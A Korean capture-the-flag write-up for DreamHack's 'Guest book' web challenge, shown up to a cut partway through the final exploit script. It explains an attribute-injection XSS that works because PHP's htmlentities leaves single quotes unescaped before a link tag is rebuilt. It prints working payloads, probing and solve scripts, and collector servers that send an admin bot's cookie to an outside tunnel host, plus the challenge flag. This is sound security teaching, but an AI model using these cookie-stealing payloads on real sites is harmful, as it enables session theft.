[🥇 Gold 2] 이스케이프가 끝난 뒤에 태그를 만들면 소용이 없다 — DreamHack Guest book 풀이

문제: DreamHack — Guest book 분류: web 난이도: 🥇 Gold 2 FLAG: DH{26763025e32e6b24fedfc3206054d6a7}

문제 설명은 짧다. PHP 로 개발 중인 방명록이고, 글을 쓰는 기능과 오류 나는 주소를 관리자에게 알리는 Report 기능이 있다. 플래그는 관리자의 쿠키에 들어 있다.

즉 목표가 처음부터 정해져 있다. 관리자 브라우저에서 JS 를 실행시켜 document.cookie 를 바깥으로 빼내는 것. 남은 질문은 하나다. 어디로 밀어 넣을 것인가.

Guest book 메인 페이지 — v0.1 기능 소개에 addLink 문법이 예시와 함께 적혀 있어 공격 표면을 먼저 알려 준다

메인 페이지가 친절하게도 공격 표면을 먼저 알려 준다. "Support addLink" — 마크다운 스타일 링크 문법을 a 태그로 바꿔 준다는 뜻이다.

문제 개요

항목	내용
문제명	Guest book
난이도	🥇 Gold 2
분류	web
제공 파일	`util.php` (178바이트, 함수 하나)
서버	Apache 2.4.52 / PHP (Ubuntu), 관리자 봇은 HeadlessChrome
핵심 취약점	이스케이프 이후에 수행되는 태그 재조립 → HTML 속성 인젝션

풀이 흐름은 이렇다. htmlentities 가 살려 보내는 문자가 무엇인지 확인하고, 그 문자로 href 속성을 닫은 다음, 같은 태그에 onfocus 와 autofocus 를 붙인다. 그 페이지를 Report 로 관리자 봇에게 열게 하면 클릭 없이 스크립트가 돈다.

🧩 배경 — 배포 파일이 함수 하나뿐이다

내려받은 압축을 풀면 파일이 딱 하나 나온다. 전문이 이게 전부다.

<?php
function addLink($content){
  $content = htmlentities($content);
  $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
  return $content;
}
?>

두 줄짜리 함수인데 순서가 이상하다.

먼저 htmlentities 로 특수문자를 실체 참조로 바꾼다. 여기까지는 교과서적이다. 그런데 바로 다음 줄에서 preg_replace 가 <a href='...'> 를 원시 문자열로 다시 만들어 낸다.

이스케이프는 "출력 직전"에 해야 의미가 있다. 이스케이프를 먼저 하고 그 뒤에 태그를 조립하면, 조립 단계에서 새로 생기는 따옴표와 꺾쇠는 아무 검사도 받지 않는다.

노릴 곳은 $2 다. 링크의 URL 부분이 href='...' 안에 그대로 들어간다.

Guest book 의 글쓰기 폼 — Content 텍스트영역 하나와 제출 버튼뿐이고 method 가 없어 GET 으로 나간다

폼에는 method 속성이 없다. HTML 기본값은 GET 이므로 입력은 쿼리스트링으로 나간다. 저장도 하지 않는다. 넣은 값이 그 자리에서 그대로 렌더되는 반사형이다.

🔬 정찰 — 무엇을 제어할 수 있나

먼저 정상 문법을 넣어 본다. [dreamhack](https://dreamhack.io) 를 Content 에 넣고 제출한다.

정상 마크다운 링크가 파란 dreamhack 링크로 렌더된 화면. addLink 가 a 태그를 만들어 준다.

의도대로 a 태그가 생겼다. 그러면 태그를 직접 넣으면 어떻게 되나. 주소창에 content=<script>alert(1)</script> <img src=x onerror=alert(1)> 를 실어 본다.

스크립트 태그와 img onerror 를 넣어 본 결과 — 실행되지 않고 글자 그대로 화면에 찍혔다. 꺾쇠가 먹혔다

전부 글자로 찍혔다. htmlentities 가 꺾쇠를 먹었으니 새 태그를 만들 길은 없다. 그러니 이미 만들어지는 태그 안으로 들어가야 한다.

공격을 배달할 통로도 확인해 둔다.

Report 페이지 — 접두어가 127.0.0.1 로 못 박혀 있어 이 서비스 안의 경로만 봇에게 열게 할 수 있다

Report 는 경로만 받는다. 접두어가 http://127.0.0.1/ 로 못 박혀 있으니 임의 사이트를 열게 할 수는 없고, 이 서비스 안의 경로만 지정할 수 있다. 그래도 충분하다. 반사형 XSS 는 쿼리스트링에 실리니까 GuestBook.php?content=... 를 통째로 넘기면 된다.

🧱 배경 — htmlentities 의 기본값은 버전마다 다르다

htmlentities($str) 를 플래그 없이 부르면 무엇을 이스케이프할까. 이 질문이 문제의 전부다.

PHP 8.1 에서 기본값이 바뀌었다. 그 전까지는 ENT_COMPAT 라 쌍따옴표만 막았고, 8.1 부터는 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 이라 홑따옴표까지 막는다.

경계가 정말 거기인지 세 버전에 한 줄씩 물어봤다.

for tag in 7.4 8.0; do
  docker run --rm php:$tag-cli php -r 'printf("PHP %s → %s\n", PHP_VERSION,
    htmlentities("\x27") === "\x27" ? "ENT_COMPAT" : "ENT_QUOTES");'
done

PHP 7.4.33 → ENT_COMPAT
PHP 8.0.30 → ENT_COMPAT
PHP 8.4.11 → ENT_QUOTES

8.0 까지는 옛 동작이고 8.4 는 새 동작이다. 문서가 말하는 경계와 맞는다.

문서만 믿지 말고 배포된 util.php 를 두 버전에 그대로 물려 본다. 아래가 그 확인용 스크립트다. extracted/util.php 를 수정 없이 require 한다.

<?php
// 배포된 util.php 를 그대로 include 해서 addLink() 만 단독으로 관찰한다.
require_once __DIR__ . '/extracted/util.php';
 
// 기본 플래그를 상수로 계산해 찍으면 버전과 무관하게 같은 값이 나와 오해를 부른다.
// 실제로 홑따옴표를 넣어 보고 어느 쪽인지 판정한다.
printf("PHP %s — htmlentities 기본값이 홑따옴표를 이스케이프하나? %s\n\n",
       PHP_VERSION,
       htmlentities("'") === "'" ? "아니오 (ENT_COMPAT)" : "예 (ENT_QUOTES)");
 
$cases = [
    'plain'        => "hello <script>alert(1)</script>",
    'link'         => "[dreamhack](https://dreamhack.io)",
    'quote-escape' => "[t](x' onfocus='alert`1`' autofocus=')",
    'js-uri'       => "[t](javascript:alert`1`)",
];
 
foreach ($cases as $name => $raw) {
    echo "── $name\n";
    echo "  in : $raw\n";
    echo "  out: " . addLink($raw) . "\n\n";
}
 
// 단계별로 쪼개서 어디서 무엇이 살아남는지 본다
$probe = "\" ' < > & (";
echo "── htmlentities 단독 (문자별 생존 확인)\n";
echo "  in : $probe\n";
echo "  out: " . htmlentities($probe) . "\n";

두 버전을 나란히 돌려 비교하는 래퍼다. 7.4 는 도커 이미지로, 8.4 는 로컬 PHP 로 돌린다.

#!/usr/bin/env bash
# 같은 util.php 를 PHP 7.4 와 8.4 에 각각 물려, 홑따옴표가 살아남는지 비교한다.
# (sink_test.php 출력에서 버전 줄과 결정적인 두 블록만 뽑는다)
PICK='1p;/quote-escape/,+3p;/htmlentities 단독/,+3p'
 
echo "════ PHP 7.4 (docker php:7.4-cli) ════"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | sed -n "$PICK"
 
echo
echo "════ PHP 8.4 (로컬) ════"
php sink_test.php | sed -n "$PICK"

php:7.4-cli 와 로컬 PHP 8.4 의 addLink 출력 비교. 7.4 에서만 홑따옴표가 살아남는다.

결과가 갈린다.

PHP 7.4 에서는 같은 입력이 <a href='x' onfocus='alert`1`' autofocus=''>t</a> 가 된다. href 가 x 에서 끝나고 그 뒤가 전부 새 속성이다.

PHP 8.4 에서는 홑따옴표가 ' 로 바뀌어 전부 href 값 안에 갇힌다. 같은 코드인데 런타임 버전 하나로 취약 여부가 뒤집힌다.

💣 핵심 — 이스케이프 다음에 태그를 만들면 소용이 없다

정리하면 이렇다.

addLink 파이프라인 도식. htmlentities 를 통과한 뒤 홑따옴표만 살아남아 href 를 닫는다.

꺾쇠·쌍따옴표·앰퍼샌드는 다 죽는다. 홑따옴표 하나만 살아 나온다. 그런데 preg_replace 가 만드는 템플릿이 하필 href='$2' 로 홑따옴표를 쓴다.

살아남은 문자와 새로 생기는 구분자가 정확히 겹친다. 여기가 전부다.

이 서버가 어느 쪽인지 확인한다. 두 가지를 한 번에 본다 — 문자별로 무엇이 살아남는지, 그리고 그걸로 실제 속성 탈출이 되는지.

#!/usr/bin/env bash
# 실서버가 어느 쪽 PHP 인지 확인한다.
# ① 문자별 생존: " < > & 는 죽고 ' 만 살아남는가
# ② 그 홑따옴표로 href 를 닫고 새 속성을 붙일 수 있는가
T=${1:-http://host3.dreamhack.games:11773}
 
echo "── ① 원시 문자 생존"
curl -s -G "$T/GuestBook.php" \
     --data-urlencode 'content=[q](a"b'"'"'c<d>e&f)' | grep -o '<pre>.*</pre>'
 
echo "── ② 속성 탈출"
curl -s -G "$T/GuestBook.php" \
     --data-urlencode "content=[x](x' onfocus='alert\`1\`' autofocus=')" | grep -o '<pre>.*</pre>'

실서버 응답 확인 — 쌍따옴표와 꺾쇠는 실체 참조가 되는데 홑따옴표만 원본 그대로 남아 속성 탈출이 가능하다

실서버는 7.x 쪽이다. ① 에서 " 는 ", < 는 < 가 됐는데 ' 만 멀쩡하다. ② 에서는 onfocus 와 autofocus 가 속성 자리에 그대로 앉았다.

브라우저가 이걸 정말 속성으로 파싱하는지도 확인해 둔다. view-source: 로 원본을 본다.

view-source 화면 23번 줄. onfocus 와 autofocus 가 속성으로 하이라이팅되어 있다.

23번 줄이 우리가 만든 태그다. 크롬의 뷰소스 하이라이팅이 onfocus 를 속성 이름 색으로 칠하고 있다. 문자열 안에 갇힌 게 아니라 진짜 이벤트 핸들러다.

괄호를 못 쓴다

여기서 한 번 걸린다. 정규식을 다시 본다.

/\[(.*?)\]\((.*?)\)/

URL 그룹이 (.*?) 다. 게으른 수량자라 첫 번째 닫는 괄호에서 끊긴다. alert(1) 처럼 괄호가 든 JS 를 쓰면 alert(1 까지만 URL 로 잡히고 뒤는 평범한 글자가 된다.

그래서 괄호 없는 JS 만 쓸 수 있다. 방법은 두 가지다.

방식	페이로드 조각	비고
백틱 템플릿 리터럴	`location=` + 백틱으로 감싼 URL	안에 `${document.cookie}` 를 끼워 넣는다
문자열 연결	`location="…"+document.cookie`	쌍따옴표는 `"` 로 변환되지만 브라우저가 되돌린다

두 번째가 재밌다. 입력한 " 는 htmlentities 가 " 로 바꾸지만, 그 값이 놓이는 곳이 HTML 속성 안이라 브라우저가 파싱하면서 다시 " 로 되돌린다. JS 엔진에 도달할 때는 멀쩡한 문자열 리터럴이다. 둘 다 실제로 동작하는 걸 확인했다.

클릭 없이 터뜨리기

a 태그에 붙일 수 있는 이벤트 중 사용자 조작이 필요 없는 게 필요하다. onclick 이나 onmouseover 는 봇이 클릭도 마우스 이동도 안 하니 소용없다.

autofocus 를 쓴다. HTML5 에서 전역 속성이라 폼 컨트롤이 아니어도 붙고, href 가 있는 a 는 포커스를 받을 수 있는 요소다. 페이지가 뜨면 브라우저가 알아서 포커스를 주고, 그때 onfocus 가 돈다.

최종 페이로드는 이렇게 된다.

[x](x' onfocus='location=`https://수집서버/gb41?c=${document.cookie}`' autofocus=')

렌더되면 이렇게 나온다.

<a href='x' onfocus='location=`https://수집서버/gb41?c=${document.cookie}`' autofocus=''>x</a>

맨 뒤 autofocus=' 의 열린 따옴표는 preg_replace 가 붙이는 '> 의 홑따옴표가 닫아 준다. 그래서 autofocus='' 로 깔끔하게 끝난다. 따옴표 개수를 맞추는 게 페이로드 설계의 절반이다.

🐛 삽질

▶🐛 삽질 1 — 첫 리포트가 그냥 조용했다

페이로드를 완성하고 Report 를 눌렀는데 수집 서버에 아무것도 안 왔다. 5분을 기다려도 없었다.

원인을 좁히려고 변수를 나눠 던졌다. 발화 트리거(autofocus vs id + URL 프래그먼트), JS 문법(백틱 vs 문자열 연결), 프로토콜(http vs https) 세 가지를 조합해 마커 경로를 다르게 준 뒤 어느 게 돌아오는지 봤다.

#!/usr/bin/env python3
"""발화 트리거·JS 문법·전송 프로토콜을 하나씩 바꿔 가며 봇에 던져 보고,
어느 조합에서 수집 서버 히트가 나는지 마커 경로로 구분한다."""
import os, sys, urllib.parse, requests
 
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
ATK    = os.environ["WG_ATTACKER"].rstrip("/")   # 격리 Kali VM + localhost.run 터널
 
VARIANTS = {
    # 마커            : (트리거 속성,            JS 본문)
    "gb41c": ("autofocus=' ",  'location="' + ATK + '/gb41c?c="+document.cookie'),   # ES5 문자열연결
    "gb41d": ("id='a' ",       'location="' + ATK + '/gb41d?c="+document.cookie'),   # 프래그먼트 포커스(#a)
    "gb41e": ("autofocus=' ",  'location="' + ATK + '/gb41e"'),                      # 쿠키 없이 순수 아웃바운드 확인
}
 
for marker, (trigger, js) in VARIANTS.items():
    payload = "[x](x' " + trigger + "onfocus='" + js + "' q=')"
    frag = "#a" if "id=" in trigger else ""
    path = "GuestBook.php?content=" + urllib.parse.quote(payload, safe="") + frag
    render = requests.get(f"{TARGET}/GuestBook.php", params={"content": payload}, timeout=15).text
    print(f"[{marker}] 렌더:", render.split("<pre>")[1].split("</pre>")[0])
    rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
    print(f"[{marker}] report path={path[:70]}... -> {rp.status_code}")

gb41d 만 돌아왔다. 그래서 "봇 브라우저에서는 autofocus 가 안 먹고 프래그먼트 포커스만 된다"고 결론 냈다. 틀린 결론이었다.

이 스크립트가 만드는 autofocus 변형을 렌더 결과로 보면 답이 나온다.

<a href='x' autofocus=' onfocus='location=&quot;...&quot;+document.cookie' q=''>x</a>

트리거 문자열을 autofocus=' 로 써 놓고 그 뒤에 onfocus=' 를 이어 붙였다. 그러면 autofocus 의 값이 ' onfocus=' 로 열려서 onfocus 라는 이름 자체를 값으로 삼켜 버린다. 핸들러가 아예 없는 태그를 세 번 던져 놓고 "트리거가 문제"라고 읽은 것이다.

따옴표 계산을 바로잡아 다시 던지니 네 조합이 전부 발화했다.

22:15:23  gb41d  id + #프래그먼트
22:17:15  gb41f  autofocus + 문자열 연결
22:18:21  gb41g  autofocus + 백틱
22:18:49  gb41h  autofocus + 백틱 + https  ← 최초에 실패했던 것과 완전히 동일

마지막 줄이 결정적이다. 처음 실패한 페이로드와 한 글자도 다르지 않은데 이번엔 왔다. 즉 페이로드는 처음부터 맞았고, VM 을 만든 직후에 보낸 첫 리포트만 응답이 없었던 것이다. 리포트 워커가 아직 준비되지 않았던 걸로 보인다.

교훈은 두 개다. 하나, 서버를 막 띄운 직후의 무응답은 페이로드 탓이 아닐 수 있다. 둘, 비교 실험을 짤 때 각 변형이 의도한 HTML 을 만드는지부터 확인해야 한다. 렌더 결과를 출력하도록 짜 놓고도 눈으로 안 봤다.

그래서 최종 solve.py 에는 리포트를 30초마다 다시 보내는 재시도를 넣었다.

▶🐛 삽질 2 — 수집 로그에서 중괄호가 사라졌다

수집 경로를 정하기 전에 "플래그 모양 문자열이 쿼리스트링으로 잘 지나가나"를 확인했다. curl 로 찔러 보니 로그에 중괄호가 없었다.

GET /xss41probe?c=flag=DHfake_test_abc

DH{fake_test_abc} 를 보냈는데 DHfake_test_abc 가 찍혔다. WAF 가 지운 줄 알았다. URL 인코딩한 쪽(%7B)은 멀쩡히 남아서 더 그럴듯했다.

범인은 curl 이었다. curl 은 URL 안의 중괄호를 글로빙 문법으로 해석한다. {a,b} 로 여러 URL 을 한 번에 요청하는 기능인데, 원소가 하나뿐이면 괄호만 벗겨진다.

-g 로 글로빙을 끄고 다시 보내니 그대로 들어왔다.

curl -g -s -o /dev/null "$WG_ATTACKER/xss41probe?c=flag=DH{brace_survives_1}"

GET /xss41probe?c=flag=DH{brace_survives_1}

이게 중요했던 이유는, 만약 정말로 인코딩이 필요했다면 encodeURIComponent 를 써야 하는데 괄호를 못 쓰는 제약 때문에 함수 호출이 막혀 있었기 때문이다. 다행히 인코딩이 필요 없어서 백틱 하나로 끝났다.

▶🐛 삽질 3 — 로컬 재현이 두 번째 실행에서 실패했다

재현 스크립트를 만들어 돌렸더니 봇은 분명히 쿠키를 들고 수집 서버로 이동했는데, 수집 로그를 뒤지는 마지막 단계에서 "얻은 값: 없음" 이 나왔다.

[bot] visited http://127.0.0.1:8041/index.php -> final: http://127.0.0.1:8042/?c=flag=DH{local_fake_flag_for_repro}
❌ FAIL [A] 로컬 유출 실패 (얻은 값: '없음')

브라우저 주소창에는 쿠키가 찍혀 있는데 서버 로그에는 없다는 모순이다.

앞선 실험에서 띄워 둔 수집 서버가 아직 8042 를 잡고 있었다. 재현 스크립트가 새로 띄운 쪽은 바인드에 실패해 죽었고, 요청은 옛 프로세스가 받아서 그쪽 로그로 갔다. SO_REUSEADDR 를 켜 뒀어도 이미 리스닝 중인 소켓은 못 뺏는다.

앞 실험의 잔재를 PID 로 지정해 정리하고 다시 돌리니 통과했다. 로컬 랩을 여러 번 세웠다 접었다 할 때 잘 나는 실수다.

🧪 로컬 재현 — 라이브를 켜기 전에

라이브 서버에서 파라미터를 바꿔 가며 찔러 보는 건 시간도 크레딧도 낭비다. 취약점이 진짜인지는 오프라인에서 먼저 증명할 수 있다. 필요한 건 세 조각이다.

첫째, 배포된 util.php 를 그대로 쓰는 미니 방명록.

<?php
// 로컬 재현용 미니 방명록.
// 배포된 util.php 의 addLink() 를 그대로 렌더링 싱크로 쓴다 — 여기가 실제 문제와 동일한 부분.
require_once __DIR__ . '/util.php';
 
$DB = __DIR__ . '/posts.json';
$posts = file_exists($DB) ? json_decode(file_get_contents($DB), true) : [];
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $posts[] = ['name' => $_POST['name'] ?? 'anon', 'content' => $_POST['content'] ?? ''];
    file_put_contents($DB, json_encode($posts));
    header('Location: /index.php');
    exit;
}
?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Guest book (local repro)</title></head>
<body>
<h1>Guest book</h1>
<form method="POST">
  <input name="name" placeholder="name">
  <textarea name="content" placeholder="content"></textarea>
  <button type="submit">write</button>
</form>
<hr>
<?php foreach ($posts as $i => $p): ?>
  <div class="post">
    <b><?= htmlentities($p['name']) ?></b>
    <p><?= addLink($p['content']) ?></p>
  </div>
<?php endforeach; ?>
</body></html>

둘째, 관리자 봇 흉내. 플래그가 든 쿠키를 물고 페이지를 열기만 한다. 클릭도 마우스 이동도 하지 않는 게 핵심이다. 그래야 "무조건 자동 발화"가 검증된다.

#!/usr/bin/env python3
"""로컬 재현용 관리자 봇.
 
실제 문제의 Report 기능이 하는 일과 같다: 플래그가 든 쿠키를 물고
주어진 URL 을 헤드리스 크롬으로 한 번 열어 보고 닫는다.
클릭·마우스 이동은 하지 않는다 — 그래야 '무조건 자동 발화하는 페이로드'인지 검증된다.
"""
import sys
from playwright.sync_api import sync_playwright
 
url = sys.argv[1]
flag = sys.argv[2] if len(sys.argv) > 2 else "DH{local_fake_flag_for_repro}"
 
with sync_playwright() as p:
    br = p.chromium.launch(args=["--no-sandbox"])
    ctx = br.new_context()
    ctx.add_cookies([{ "name": "flag", "value": flag,
                       "url": "http://127.0.0.1:8041/" }])
    pg = ctx.new_page()
    pg.on("console", lambda m: print("[console]", m.text))
    pg.goto(url, wait_until="load")
    pg.wait_for_timeout(2000)      # 발화·요청 나갈 시간만 준다
    print("[bot] visited", url, "-> final:", pg.url)
    br.close()

셋째, 빠져나온 쿠키를 받아 적는 최소 서버.

#!/usr/bin/env python3
"""탈취된 쿠키를 받아 적는 최소 수집 서버 (로컬 검증 전용)."""
import http.server, socketserver, urllib.parse, datetime
 
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        q = urllib.parse.urlparse(self.path).query
        print(f"[{datetime.datetime.now():%H:%M:%S}] HIT {self.path}")
        print("           decoded:", urllib.parse.unquote(q), flush=True)
        self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers()
        self.wfile.write(b"ok")
    def log_message(self, *a):   # 기본 접근로그는 끈다
        pass
 
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 8042), H) as s:
    print("listening on http://127.0.0.1:8042/", flush=True)
    s.serve_forever()

글을 하나 남기고 렌더 결과만 뽑아 보는 보조 스크립트도 같이 쓴다.

#!/bin/bash
# 로컬 재현 서버에 방명록 글 하나를 남기고, 렌더된 HTML 에서 <a ...> 줄만 뽑아 본다.
# 사용: ./post.sh '<content>'
set -e
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
     --data-urlencode "name=attacker" --data-urlencode "content=$1"
echo "--- 렌더 결과 ---"
curl -s http://127.0.0.1:8041/index.php | grep -o '<a [^<]*</a>'

이제 브라우저로 직접 확인한다. 순서는 셋이다. 평범한 글 하나만 있는 방명록을 연 뒤 개발자 콘솔에서 플래그 쿠키를 심고, 공격자 입장에서 페이로드 글을 남기고, 같은 주소를 다시 연다.

document.cookie = 'flag=DH{local_fake_flag_for_repro}'

./post.sh "[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"

로컬 재현 방명록의 정상 상태 — 평범한 인사글 하나만 올라와 있고 여기까지는 아직 아무 일도 일어나지 않았다

여기까지는 아무 일도 없다. 이제 페이로드 글이 올라간 뒤 같은 주소를 다시 연다.

페이로드 글이 올라간 뒤 같은 주소를 다시 연 화면 — 클릭 없이 주소창이 수집 서버로 넘어가고 쿠키가 실려 있다

주소창을 보면 끝난 이야기다. 방명록을 열었을 뿐인데 브라우저가 수집 서버로 넘어가 있고, 쿼리스트링에 쿠키가 통째로 붙어 있다. 클릭은 한 번도 없었다.

이 과정을 한 번에 돌리는 재현 스크립트를 남겨 둔다. 오프라인 증명과 라이브 익스플로잇을 둘 다 담았다.

#!/usr/bin/env bash
# Guest book (DreamHack id 41, Gold 2, web) — 한 방 재현.
#
# 이 문제의 flag 는 관리자 봇의 쿠키에 들어 있어서 오프라인으로는 절대 나오지 않는다.
# 그래서 두 가지를 한다:
#   [A] 오프라인 — 취약점 자체(따옴표 생존 → 속성 탈출 → 무클릭 발화)를 로컬에서 증명한다.
#       PHP 7.4 컨테이너 + playwright 봇으로 가짜 flag 쿠키가 실제로 빠져나오는지 본다.
#   [B] 라이브   — 인자로 VM 주소를 주면 진짜 flag 까지 뽑는다.
#
# 사용:
#   ./reproduce.sh                                            # [A] 오프라인 증명만
#   WG_ATTACKER=https://<터널>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/   # [A]+[B]
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
FAKE='DH{local_fake_flag_for_repro}'
 
echo "════ [A] 오프라인 — 취약점 증명 (PHP 7.4 + 헤드리스 봇) ════"
 
# 1) 배포된 addLink() 를 PHP 두 버전에 그대로 물려 홑따옴표 생존 여부를 본다
echo "── htmlentities 기본 플래그: 7.4(ENT_COMPAT) vs 8.x(ENT_QUOTES)"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | grep -A2 'quote-escape' || true
php sink_test.php 2>/dev/null | grep -A2 'quote-escape' || true
 
# 2) 미니 방명록을 띄우고, 봇이 클릭 없이 쿠키를 흘리는지 확인
docker rm -f gb_repro >/dev/null 2>&1 || true
rm -f local/posts.json
docker run --rm -d --name gb_repro --network host -v "$PWD/local":/app -w /app \
        php:7.4-cli php -S 127.0.0.1:8041 -t /app >/dev/null
trap 'docker rm -f gb_repro >/dev/null 2>&1 || true; kill ${EXFIL_PID:-0} 2>/dev/null || true' EXIT
sleep 2
 
python3 local/exfil.py > /tmp/gb_exfil.log 2>&1 &
EXFIL_PID=$!
sleep 1
 
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
     --data-urlencode 'name=attacker' \
     --data-urlencode "content=[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"
echo "── 렌더 결과:"
curl -s http://127.0.0.1:8041/index.php | grep -o "<a [^<]*</a>"
 
timeout 120 python3 local/bot.py http://127.0.0.1:8041/index.php "$FAKE" | tail -2
LEAK=$(grep -aoE 'DH\{[^}]+\}' /tmp/gb_exfil.log | head -1 || true)
if [ "$LEAK" != "$FAKE" ]; then
  echo; echo "❌ FAIL [A] 로컬 유출 실패 (얻은 값: '${LEAK:-없음}')"; exit 1
fi
echo "✅ [A] PASS — 클릭 없이 쿠키 유출 확인: $LEAK  (로컬 더미값이다. 진짜 flag 아님)"
 
# ── [B] 라이브 ────────────────────────────────────────────────────────────
if [ $# -lt 1 ]; then
  echo
  echo "ℹ️  진짜 flag 는 라이브 VM 이 있어야 나온다. 주소를 주면 이어서 뽑는다:"
  echo "    WG_ATTACKER=https://<터널>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/"
  exit 0
fi
 
echo
echo "════ [B] 라이브 — 관리자 봇 쿠키 탈취 ════"
OUT=$(timeout 300 python3 solve.py "$@" 2>&1) || true
echo "$OUT" | tail -5
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1 || true)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1

reproduce.sh 를 인자 없이 돌린 결과 — 가짜 플래그 쿠키가 유출되는 것까지 확인하고 PASS 로 끝난다

인자 없이 돌리면 오프라인 증명만 하고 끝난다. 통과했으니 이제 라이브를 켜도 된다.

🎯 익스플로잇 — 봇에게 배달

라이브에서는 유출을 받아 줄 곳이 필요하다. 봇이 여는 건 http://127.0.0.1/ 뿐이고 방명록은 글을 저장하지도 않으니, 같은 출처 안에서 값을 회수할 방법이 없다.

외부 수집 서버를 쓴다. 요청의 쿼리스트링을 로그에 남기기만 하면 되므로 404 를 돌려줘도 상관없다.

여기서 운영 중인 내 사이트를 쓰면 안 된다. 훔친 flag 쿠키가 URL 째로 운영 access log 에 남고, 그 로그는 백업·모니터링·외부 분석 도구로 계속 번진다. 그래서 수집 서버는 격리한 Kali VM 에 올리고 localhost.run 으로 잠깐만 밖에 노출한다.

python3 -m http.server 로도 되지만 그건 경로만 찍는다. 누가 보냈는지까지 증명하려면 Referer 와 User-Agent 를 같이 남겨야 해서 최소 서버를 따로 썼다.

#!/usr/bin/env python3
"""XSS 수집 서버 — 요청 경로와 함께 Referer/User-Agent 까지 로그에 남긴다."""
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
 
 
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print('%s - - [%s] "GET %s" referer=%s ua=%s' % (
            self.client_address[0], self.log_date_time_string(), self.path,
            self.headers.get("Referer", "-"), self.headers.get("User-Agent", "-")),
            flush=True)
        self.send_response(404)
        self.end_headers()
 
    def log_message(self, *a):        # 기본 한 줄 로그는 끈다(위에서 직접 찍는다)
        pass
 
 
HTTPServer(("0.0.0.0", int(sys.argv[1])), H).serve_forever()

scp collector.py kali:~/atk_gb41/
ssh kali 'cd ~/atk_gb41 && setsid nohup python3 collector.py 8902 \
            > ~/atk_gb41/access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8902 nokey@localhost.run"'
ssh kali 'tmux capture-pane -t lhr -p -S -60 | grep -oE "[a-z0-9]+\.lhr\.life"'

발급받은 주소를 WG_ATTACKER 로 넘기면 아래 스크립트들이 전부 그 주소를 쓴다. 터널 주소는 매번 바뀌므로 글에 박아 두지 않는다.

공격 흐름 도식 — Report 로 봇을 유도하면 onfocus 가 자동으로 발화해 쿠키를 수집 서버로 보낸다

Report 에 넣을 경로는 GuestBook.php?content=<인코딩된 페이로드> 다. path 값 안에 쿼리스트링이 통째로 들어가므로 페이로드는 미리 퍼센트 인코딩해 둔다.

🚀 Full Exploit

실제로 플래그를 뽑은 스크립트 전문이다.

#!/usr/bin/env python3
"""DreamHack 'Guest book' (id 41, Gold 2, web) — 자체 완결 익스플로잇.
 
취약점
    배포된 util.php 의 addLink() 는 htmlentities() 로 이스케이프한 "뒤에"
    preg_replace 로 <a href='$2'>$1</a> 를 다시 만들어 낸다.
    이 서버의 PHP 는 htmlentities 기본 플래그가 ENT_COMPAT 라 홑따옴표(')를 안 건드린다.
    → href='...' 를 닫고 <a> 태그에 임의 속성(onfocus/autofocus)을 붙일 수 있다.
 
제약
    정규식 \\((.*?)\\) 가 첫 ')' 에서 끊기므로 URL 그룹 안에 ')' 를 못 쓴다.
    → 괄호 없는 JS 만 쓴다. 백틱 템플릿 리터럴과 문자열 연결 둘 다 확인했다.
 
흐름
    Report.php 로 관리자 봇에게 GuestBook.php?content=<payload> 를 열게 하면
    autofocus 가 onfocus 를 자동 발화시켜 document.cookie(=flag)가 수집 서버로 날아온다.
 
사용:
    WG_ATTACKER=https://<터널>.lhr.life python3 solve.py http://host3.dreamhack.games:PORT/
    (수집 서버는 쿼리스트링을 access log 에 남기기만 하면 무엇이든 된다)
"""
import re, sys, time, urllib.parse, requests
 
TARGET  = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
COLLECT = (sys.argv[2] if len(sys.argv) > 2 else os.environ["WG_ATTACKER"].rstrip("/") + "/gb41")
LOG     = sys.argv[3] if len(sys.argv) > 3 else "~/atk_gb41/access.log"   # Kali 안의 경로
MARK    = urllib.parse.urlparse(COLLECT).path          # 로그에서 우리 요청만 골라낼 표식
 
# ── 페이로드 ────────────────────────────────────────────────────────────────
# 렌더 결과: <a href='x' onfocus='location=`<COLLECT>?c=${document.cookie}`' autofocus=''>x</a>
#                    ^ href 를 여기서 닫고 ──────────^ 새 속성을 이어 붙인다
JS      = "location=`" + COLLECT + "?c=${document.cookie}`"
PAYLOAD = "[x](x' onfocus='" + JS + "' autofocus=')"
assert ")" not in PAYLOAD[:-1], "URL 그룹에 ')' 가 있으면 정규식이 거기서 끊긴다"
 
# ── 1. 반사 지점에서 태그가 실제로 깨지는지 먼저 본다 ───────────────────────
html = requests.get(f"{TARGET}/GuestBook.php", params={"content": PAYLOAD}, timeout=15).text
rendered = html.split("<pre>")[1].split("</pre>")[0] if "<pre>" in html else "(반사 안 됨)"
print("[1] 렌더된 HTML :", rendered)
if "onfocus=" not in rendered:
